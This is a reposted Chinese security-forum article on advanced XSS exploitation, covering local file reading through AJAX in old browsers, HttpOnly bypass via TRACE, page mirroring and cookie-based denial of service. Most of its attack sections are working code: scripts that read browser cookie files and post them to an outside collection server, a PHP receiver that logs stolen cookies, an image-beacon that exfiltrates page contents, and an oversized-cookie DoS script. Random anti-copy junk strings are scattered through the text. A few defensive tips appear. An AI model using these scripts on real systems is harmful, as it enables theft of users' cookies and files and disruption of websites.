中国网络渗透测试联盟

标题: XSS的高级利用部分总结 -蠕虫 [打印本页]

---

作者: admin    时间: 2012-9-13 17:13
标题: XSS的高级利用部分总结 -蠕虫
XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑

XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
4 y1 R, A% x) r$ V8 y9 D) GBy racle@tian6.com   
. k, J. K5 i# C$ Thttp://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权
' J- ]1 g0 W. C4 J3 L6 V% ]

3 u- [' X* q/ s/ Y
-------------------------------------------前言---------------------------------------------------------
7 k8 {0 S6 r& \8 N

本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
6 Q& k( |0 E4 Y- I8 j0 Q

; C' [. L$ [$ A$ w: r4 k如果你还未具备基础XSS知识,以下几个文章建议拜读:
* H3 ~9 E2 x+ V& J1 vhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
7 s9 v4 I3 u' |  ^* |) Y7 dhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
0 C0 Z' t/ E( b2 Qhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
8 @0 b$ h7 B3 [6 w4 k( Zhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持

) k" K" U8 i- E7 e# u! y. U: J3 I3 u


0 ^6 U  _% A8 `* }- t5 x" m/ N如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
" V+ c, N1 u8 b7 j& W
希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
# ~$ K* ~1 Y4 }" ^2 w
. l7 E: x  c) t# YBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
" t$ I) M" N+ t2 g4 @3 r( o; ^( j
QQ ZONE,校内网XSS     感染过万QQ ZONE.
. n3 i+ m' h' n
2 m$ Y# d% @6 d  U! H" dOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

..........
复制代码------------------------------------------介绍-------------------------------------------------------------
+ h/ m, y5 |$ \  O% W* Q3 w
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
& m# a8 |4 W! U4 @! Q" r  k

5 A8 T& u" n8 a- S4 T1 H2 u1 _7 E
7 p. x) c+ }6 v1 I6 F) r跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.


. s7 P0 u# M: B* k/ j
2 ]. w# i5 M8 ]( K如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

1        通过XSS,我们能实现什么?
% Z% o" Z( b* C& S
2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

# w; j" l% I1 e6 @9 Q' _1 ]6 s4        XSS漏洞在输出和输入两个方面怎么才能避免.

: \- }- j/ M# v$ M
  S; Y+ p4 w% Z# [9 a* h- k
------------------------------------------研究正题----------------------------------------------------------
8 d5 M" t, P. G3 I
7 `* ?! X1 N4 f3 |& I2 T
7 C. ]; r& E5 P  ?- f
通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
- P- [5 q# V, U, ]- m2 R- K2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
5 O  r2 i  @0 @3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
# z, w; s& I/ o  Z; n( J' S9 A: K4:Http-only可以采用作为COOKIES保护方式之一.


( C- ~* C! a) u5 I2 g1 j


(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
5 C9 E* s8 \" V! Z
/ f& ^9 E9 z# _4 X7 q& V, {+ X7 W% s我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
# Q% g! i+ S5 o8 V  Z9 h' o
% t. F( u) [, p8 {1 q( W
# _& N! b( W9 O7 t& l
; `7 _3 Q, c- L- Y5 _0 l    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。



    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
& T! W3 [& S$ V: ~9 H6 ?


    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
) ^* C+ G: c- O8 `7 ]" s复制代码IE6使用ajax读取本地文件    <script>

    function $(x){return document.getElementById(x)}
( K: M: T/ S  N9 @7 S
) [+ d9 S2 l# s. l1 C4 n

! n$ o" Z2 c* W3 F- [    function ajax_obj(){

    var request = false;

    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();

: P7 c' ~' }, J+ b    } else if(window.ActiveXObject) {
5 P, V) G" M! T! U9 t: {) ^% H1 w1 G
    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


2 u! l: O' T8 v8 M5 P
! Y: F3 x5 C. B& |. U    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

) j( `: j9 G( S! Q, c/ f" g    for(var i=0; i<versions.length; i++) {

4 e  C' s+ A- m4 ?4 E: v    try {
& v$ ~6 m' G4 C
/ g5 x" X& Q, l. x' o% p    request = new ActiveXObject(versions);
  D  {$ u% V) {+ T
( W* l8 J! A4 n0 D3 i( l# t    } catch(e) {}

  c9 l! j! F4 V- C" M% q6 `% J    }
! L" i5 Z- m# W# s, o5 P
    }
* V* ^% w% Q  T. I
! _0 b1 I) Q5 n9 b3 u$ n: w    return request;

    }
. d" Y2 ?% }5 J% z' \
    var _x = ajax_obj();
; b- H: y1 g% `( B0 u5 \1 W- r4 h
    function _7or3(_m,action,argv){

% H% s( n' G9 N) i/ w% m4 {    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);

! S$ }* g4 }5 E! v- _1 Q; G0 V    return _x.responseText;

) O# M! I8 ^2 Z; W$ ?! k5 A& E- p& C    }
6 o5 B. K( T4 O$ d
9 H1 u' a6 l" h/ b& ^4 d9 A

    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
0 B6 V) Y3 ?2 Z: Q7 r
    alert(txt);

8 E4 w  j9 Q2 L: O1 u& `# f. p

    </script>
7 W9 {- z1 A; g! `6 T7 E2 f1 T复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

2 n. J  ^8 n7 |& ~5 h0 s' _    function $(x){return document.getElementById(x)}


8 \; C' }, v/ o. q
    function ajax_obj(){

4 z5 ^4 a% i2 a) ~$ n2 p    var request = false;
1 }& x& l5 e. T/ Z5 m( T: K' D
    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();
* c0 {1 \: F( h- _* I7 J$ b0 Y3 `, i0 j
    } else if(window.ActiveXObject) {

, e/ t1 N- c  h/ @3 j: C    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
! |, \% {' y# c; T4 F# {/ D4 T

( x$ ]2 a5 S+ ?2 p: U
" U) Q' M' O' u    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
' ?7 @" R' z& j: Q# C
8 l" K; E" \* [8 U% Y  e/ ?+ u    for(var i=0; i<versions.length; i++) {
; j/ M, Q+ f' W& \
    try {
2 T* R; y  [, D, y
    request = new ActiveXObject(versions);
5 F1 g: {2 [% @/ l3 I' U
    } catch(e) {}
+ O3 ?8 u9 B9 z3 X
    }
' D6 s. {- f8 Y. i
    }
' z7 k/ N) j. e4 V/ H6 D. Q
# A+ M/ r$ ]! t; d9 J6 l6 y    return request;

1 k0 i1 [6 |$ P, D: {6 M    }

+ w4 V& h7 Z0 _: o8 K. m  \5 I5 q  q    var _x = ajax_obj();
, O5 b) m3 U+ r7 i, V
    function _7or3(_m,action,argv){

6 N' Z! }, o2 T% w2 d    _x.open(_m,action,false);
: r6 s* _6 G2 L' o# a, D
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
3 I- ~/ S# L0 b$ {5 g$ J8 b
  l) p5 c+ g' K9 u    _x.send(argv);

    return _x.responseText;

4 x' B9 U- l" r: X    }


- ~8 l8 U' h4 s8 I- R0 E
! R9 P  T7 c! @$ ]$ E4 z    var txt=_7or3("GET","1/11.txt",null);

    alert(txt);
, q1 R. D! `! {


    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
; h' l4 d9 H/ }% l! N6 w) g

) }. c4 F0 g, S: r$ w
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"


/ n4 u  `: p$ y: v! A
<?   

- B' P3 m* O* q$ M/*  
$ |: p! x4 D7 w/ S
8 g7 T. G  `6 S! d* i3 F     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

% Y% m5 O/ V6 A, o9 [9 M9 l, u6 K     www.inbreak.net   
$ P8 ^9 R# g# n( ?
0 Q8 [" G5 v  `" O  n" q' S$ L     author voidloafer@gmail.com 2009-4-22   
1 `1 ^; Z& R. y2 @" u8 Y! }5 R
     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

*/  
" U. ?+ H; v0 |# w+ c
header("Content-Disposition: attachment;filename=kxlzx.htm");   

' B; x" l/ X. k( L2 F. h5 oheader("Content-type: application/kxlzx");   
/ C5 {, M2 ?0 ~( J" c0 l1 Q
7 u5 c4 G( H4 y/*  
$ L0 D+ `6 p9 X8 W7 a( y1 ?; A' o
$ K( y9 F1 d# m     set header, so just download html file,and open it at local.  
2 F8 n0 n' \6 B3 H
. \4 }# ^4 l, K+ v6 R0 j; F*/  

% T7 P; @* A" {( C" m?>   

" X! \* ?" e( N9 v<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
7 N! Z+ ~9 h/ F4 G  Z$ j7 e
     <input id="input" name="cookie" value="" type="hidden">   
2 F& C0 c6 V  i- f3 ]' r  }
9 J; M" E; l7 B, |6 S</form>   
  i& n) K, p. ^- a8 ?
<script>   
4 J7 [" Q0 n  K. d; D# x
function doMyAjax(user)   
' |1 S8 ^6 f5 o9 y# `
{   

4 m& O4 g2 F. B" @var time = Math.random();   
2 `3 e8 l5 i# b3 m
/*  

the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
6 J: `. `* d9 R2 M
0 P2 W0 x) K! ?: i; i) xand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

  I/ d7 |( L) Q$ j. fand so on...  
8 _: ~: M9 n/ b1 d& B, e. |" r- V
*/  

: r  e7 O* b/ ?1 B# I" c! ]7 ~& E2 fvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

   

  ^% t, P* A" p# M/ Z, V* [startRequest(strPer);   

. n+ {  c7 c& W" J
2 |. V# E! Z; i7 X
) A4 {! U# q2 \; o: }/ r8 v}   

, o6 w: E$ @# x5 l! Z1 F! ^   
/ W9 W5 v( D6 f5 n5 c
function Enshellcode(txt)   
6 S; E: Z1 r- P3 O8 W5 O
{   

) o, o1 m+ {5 fvar url=new String(txt);   
2 d& {$ Z, U$ H6 v8 d
var i=0,l=0,k=0,curl="";   

, d7 h* I' A6 I4 q  Z! wl= url.length;   

for(;i<l;i++){   

  `5 v9 J* @+ |3 C9 C0 V3 Lk=url.charCodeAt(i);   

if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
  m- m: }% A* t  o( s) M3 X
* q" S/ |# \: t* H2 R4 ?if (l%2){curl+="00";}else{curl+="0000";}   
7 u' }6 s. w3 C& L
  x' V: ^/ ?7 X6 l$ M7 s' q( jcurl=curl.replace(/(..)(..)/g,"%u$2$1");   

9 X$ R" K" {6 u: B) f0 ireturn curl;   
/ j! `- Z  M1 Y. L% }; c$ d" A- b
" y& z& X$ @( L. o1 F}   
3 L7 D' a( [. \  s
" e& M9 A+ }7 b% H: I7 ^+ x   

& D" ^: x- ^! m5 I6 X, F' l8 ]   

var xmlHttp;   
0 b: a6 \6 o( R8 d0 G
function createXMLHttp(){   
6 R0 v; C* g8 _7 B% @+ w* P
     if(window.XMLHttpRequest){   
4 s4 _) T- T& g2 q- F
: q1 l" z6 H/ vxmlHttp = new XMLHttpRequest();           

     }   
8 T3 P* d8 W0 \
8 o: C' i( \6 E# `% A. r" ~     else if(window.ActiveXObject){   

xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
* Z( @! c) F: E3 Z0 h
     }   

}   

4 V" q3 K% ?6 \) |6 `5 I; {) ~" }   
5 A. M6 i! P" `5 Z8 a2 m
6 [- D, F% s3 b3 ~function startRequest(doUrl){   
" T/ l5 N2 M0 e
; F4 T1 o* F) `9 f   

     createXMLHttp();   

5 X$ f7 k. D% m8 l7 }7 n% ~3 |" y
0 G& Y% y6 ^* I0 Q
  T( B+ G) q5 \, q8 f7 h9 W* n     xmlHttp.onreadystatechange = handleStateChange;   
: A9 w# Q9 U: ^" B/ |3 i8 i* j0 s
2 x: K7 q& L% ]" V

     xmlHttp.open("GET", doUrl, true);   
/ I/ _/ X. M) v
* @- l6 g, g. s) G

     xmlHttp.send(null);   
% U" L7 v. R3 j: P
3 z( g$ e( x. I- q

2 i1 a  I' B+ z/ g0 A$ u7 g1 Z

}   

   

function handleStateChange(){   
! q  C5 {' H0 A" E
. P7 @! a3 X0 y& U5 c$ y     if (xmlHttp.readyState == 4 ){   

     var strResponse = "";   

" i# F! _) p+ j8 R" Q5 e     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
- w* p% r) ?, D6 r" u  N1 V
4 K4 @# j  u# x        
# _+ L3 x% d# h8 u
     }   

( a, P$ k; X* E, B}   
8 o& A$ {! s) L+ q+ Z
7 _" E$ a* F! }   

   
: q, t$ A2 J1 w. q
8 O8 I$ f0 p" |: j. d$ sfunction framekxlzxPost(text)   
# a  i  C9 j% a
{   

     document.getElementById("input").value = Enshellcode(text);   
# M- N' \6 x3 {
& H1 m6 X: C. O, m! p! r8 e( V     document.getElementById("form").submit();   
+ {- u! |: g; l+ N
}   
1 ?% k/ ~' P1 q" X/ L# L6 |: Z" f
% U1 r. v/ y( e  ]3 F2 C! z   
! q7 i% S) w* a; E
doMyAjax("administrator");   
1 J$ x! C4 l9 Z- d
   

/ K9 X0 U  l0 j1 v# |) p+ }+ k0 ?</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

5 `7 k$ c" g: R+ T+ zvar xmlHttp;  

function createXMLHttp(){  

     if(window.XMLHttpRequest){  
* I* Q. _$ L4 V2 T, b) ?
' e( l- O( |; Y! C7 Y         xmlHttp = new XMLHttpRequest();         
0 E4 C7 ^3 n" q$ ]$ i. h# W
8 l- h- K+ J# q6 a3 v& k- a. R     }  

5 l% C3 R6 {9 C* `9 H! j     else if(window.ActiveXObject){  
! d6 a3 t: d6 J# ]1 G
         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

3 O: A+ Z2 b( S! q8 ?3 ?5 R+ g     }  
3 g. ~4 S( x( v1 W1 X, V: W
}  

6 R9 C% O! c7 |' l) }1 Y   

5 Z6 W+ r  W3 q4 v0 ]  Ufunction startRequest(doUrl){  
* f' q6 A7 A4 N, D; k) d
! o) ~! k  K6 s/ o           
& L  x; j* g8 |
     createXMLHttp();  
! u% V+ x$ s; H" ?' A# W& H3 {
# B+ F* t) `  F. k8 d: _7 l4 }8 a" ]      
' \: A' p# i: K$ I0 K: e2 r/ X, n
     xmlHttp.onreadystatechange = handleStateChange;  

      

" k/ [  \+ k, l, @6 z     xmlHttp.open("GET", doUrl, true);  

% @4 S, {" }  @8 Q; h9 s$ A      
. h, s( d% c/ A# }8 n
     xmlHttp.send(null);  
) H2 r  h& w9 a+ ^  J
      

      

}   
) @: N& I# O# D8 T. o
   

3 `# Z4 V$ z  }' yfunction handleStateChange(){  
' |3 u' P$ W7 Q# O3 C6 x
     if (xmlHttp.readyState == 4 ){  

             var strResponse = "";  
- }6 y# ?( [' ~2 m# A. n
2 M$ R- \) @8 ]) Q, C( A9 \! S             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
) K6 z/ g" U, v+ P; B  b
: `3 v- b* ^% a+ C. F               

  ?) Z0 f4 w9 J4 N5 @; T! r3 o     }  

}  
* @7 O$ J  W0 p0 v+ g
* D6 I: I0 b$ a( m4 Q5 }   

9 g+ \/ B# z8 ?7 J& [4 nfunction doMyAjax(user,file)  
& O/ `5 k8 U* v+ ~0 k* K" }( b6 \
3 x5 h; j. {- g" Q9 l{  

7 N. a! \, \/ \) x. c& d( E         var time = Math.random();  

           
+ E  w/ x' H5 a" P
         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

           
, i2 r. E6 I. _3 B) w. u) L' E
         startRequest(strPer);  
, ]4 D$ p" d/ e+ f+ z: m
      

# U; p; t' i, {, _' o' c}  

   

, ^9 Z6 D& t# m# ~5 xfunction framekxlzxPost(text)  

: c+ ]; V' t# W, h{  

     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
, ]1 h9 x* C" z6 ^- p+ W* x9 s$ ^/ M
% B$ e# g$ T. G5 ^5 I5 f+ ?     alert(/ok/);  

4 O( k* E: [5 p" |5 ~7 m6 q}  

( J/ u; H* F% ?4 [1 q: A  o) A( r- M   
. q' O+ [3 D' Y" s9 \7 i
doMyAjax('administrator','administrator@alibaba[1].txt');  

2 |" ]3 a+ H* U, L& @* u   
3 U* w* [2 J5 x7 y1 W* \
$ Q, _# X& Y* H  S</script>



0 \  k. N$ Z$ X6 |$ }" r  w
# t/ X. i4 x* _" f0 b3 T: o
a.php

: m2 S; a) [0 ^  l+ U2 [! q

; l3 E, j7 L6 V$ I: M7 F' o<?php      
8 a7 `5 L& k% ?
/ y# E+ O; v0 _/ G4 a/ n% r6 t$ J   
, D5 c9 U4 q3 y4 F3 ]. z
2 i5 N3 s/ T& N$ i( h$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
! O) X6 `" i8 A  w# }# L' e* v
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

  

$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
0 O2 a% v. F+ X2 H+ c/ n' J
! R- g- \, j* k' Dfwrite($fp,$_GET["cookie"]);      
1 G5 Y6 ]9 \& ^5 U6 ~+ b6 ]
+ E: n1 W1 q1 C$ Qfclose($fp);   
0 h0 p/ N1 G8 V
" x# V% O: H+ I& {$ r/ O+ a?>
9 C2 Y5 z, ^0 t- a) z复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
3 ]; `* ~. q) L4 H* Z# o
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

& `$ Q3 V  H0 T( b代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
% U3 o2 r- ]+ f0 _
6 {* ^4 a2 B, @/ O! Y1 U* a2 `2 O//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {
  m" h9 t# y5 d* Z, H# f$ u
var image = new Image();

image.style.width = 0;
) Q  I/ P7 l6 W1 g: Z2 N
image.style.height = 0;
4 u9 B3 N5 C7 \* G
- R% V: a6 v! e1 v7 y! T* _- Kimage.src = s;
  V' W# g+ m  e' r' V/ n
+ U; l  L6 E( h# M; x3 n}
+ p+ f, H  k! u7 g4 {. ]
* I4 b8 l0 H' d0 wgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
/ F9 L3 ?0 P0 D, u# {, N这里引用大风的一段简单代码:<script language="javascript">
4 A+ D! L7 C" M% ]6 b& I9 I
var metastr = "AAAAAAAAAA"; // 10 A
& s- G3 R" d# w$ _) R3 q4 _' g
% P' v' Z" L) |1 L1 q5 X+ Fvar str = "";
1 R* I# Y$ V3 G  _/ L! r, R
5 _- w4 n3 u" Y. J; X' D$ C$ vwhile (str.length < 4000){
4 [0 [% k$ a+ \2 i3 m2 n8 L1 l
3 w4 A, V2 d! Z, h* {% C    str += metastr;
  }7 v$ m9 U; d* G: h
}

4 f# \& q& T! T. o3 f" G) d

document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

</script>

详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
/ D, V, U8 {/ j$ |
% g; S; t9 w& q5 ~* p9 A假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.


' R& T0 k  F& H% W7 \& Z
# e% Q; H9 B# I& m; Z/ m' ]; h

7 P* B1 `. ^7 [4 [# n
(III) Http only bypass 与 补救对策:
% B3 ^8 x, g4 N# r0 m3 l
5 Y# v- G, g3 C! ?- G" {什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

% Z! m# n" u% b( h" }. A  y<!--
0 @( A' _* a  A, Z4 A& \  x1 t7 G* ?
function normalCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly";
, I3 l8 q0 c8 M" P/ q
- A4 C1 o( {/ m9 calert(document.cookie);
5 w2 l- _/ J, W- q; d; g
6 q6 u! I5 ^* Q+ n}
! G/ @6 M5 K& [4 a

$ `3 b% k  N$ O: e9 _


5 F. ^* M" }, Q, hfunction httpOnlyCookie() {
: @, }3 @( L4 Y" d: I: Y
% L2 u# k+ E1 K9 m/ r* q) mdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
! ?, e7 j# e3 z, g: Y
alert(document.cookie);}
5 V% O& e' z4 j8 [+ E( [( J


1 W* n1 o9 P; ]' a4 I( v//-->
) `+ i/ }: r* S+ d5 ~
) l) C6 y) n3 R$ X1 @</script>

. k5 O) N( b2 ]7 b# n5 X! ?
- \$ Q: a5 C; P/ o, G( b
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
% F  G; N" ~0 i3 z; D* X8 }& }
+ _; B; U% b0 k1 k3 a4 g
* X" c% r) D3 c" e& z& |
var request = false;

        if(window.XMLHttpRequest) {

+ c6 k  C- _) V  \            request = new XMLHttpRequest();
0 a, C. S0 t& q: [
, C1 H% P$ D) s0 p            if(request.overrideMimeType) {
. \; B4 M, z: a# W. T
$ N8 |" p/ y5 @9 Z$ C+ C8 M                request.overrideMimeType('text/xml');

" O* r1 V( o) L5 d" e            }

/ y) l4 _7 h; a/ x! e! B9 b  p) H+ q        } else if(window.ActiveXObject) {

  M+ m5 D( O# L; a3 v2 Z3 E            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {

9 J: R& R. e8 L9 d6 l                try {
% u* V+ h' T' j
" C8 a0 @- K5 z( w& W                    request = new ActiveXObject(versions);
- M7 W+ Z" _8 d+ J) I
                } catch(e) {}

- d0 z( n/ }$ R( P: m- U9 A# o            }
: }+ }/ q4 G3 s- q$ {  g) X6 h
; y9 x, n0 A0 D5 Y+ k        }

xmlHttp=request;
4 Q! }8 n! q# O& s. R0 J# I
xmlHttp.open("TRACE","http://www.vul.com",false);

xmlHttp.send(null);

4 T* U8 W% f: L) J5 w( _xmlDoc=xmlHttp.responseText;

alert(xmlDoc);

</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

/ B4 E3 y: k) R/ i8 z( w& H8 q4 uvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
( B* g; [  x5 T2 O
+ Z6 [9 k) D' @- hXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
. T9 E" o* `, a/ U
6 {. a/ S6 N& tXmlHttp.send(null);
8 |* H: T8 @$ o' ?. L/ J
var resource=xmlHttp.responseText
% Y% `7 `% ?+ B0 {1 A; W9 ^
resource.search(/cookies/);

......................
' a5 j# \: O: ^. h
</script>

  u  r6 L, z( d# x
% x/ @% j" j, r# E) O" L


9 C- F8 ~8 ^3 E; J& z7 [: m如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

[code]
. D& i3 A) R4 L6 c# r
$ \$ l  w+ u' S5 L7 v7 t" `RewriteEngine On
+ g* j! _% C$ A1 d
RewriteCond %{REQUEST_METHOD} ^TRACE

$ v/ y, I5 t# b! mRewriteRule .* - [F]


& l( ~0 I$ |" a! E0 }
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
1 q9 p' t8 V& z( H5 E  q
2 t+ K, l1 n: M  a) O  |1 Racl TRACE method TRACE
4 Q; c& s8 m! F( f
...
7 S/ d! H% A3 \4 a' t, w+ R4 J' Q
http_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
$ f: X/ N* K( F6 E! S& G
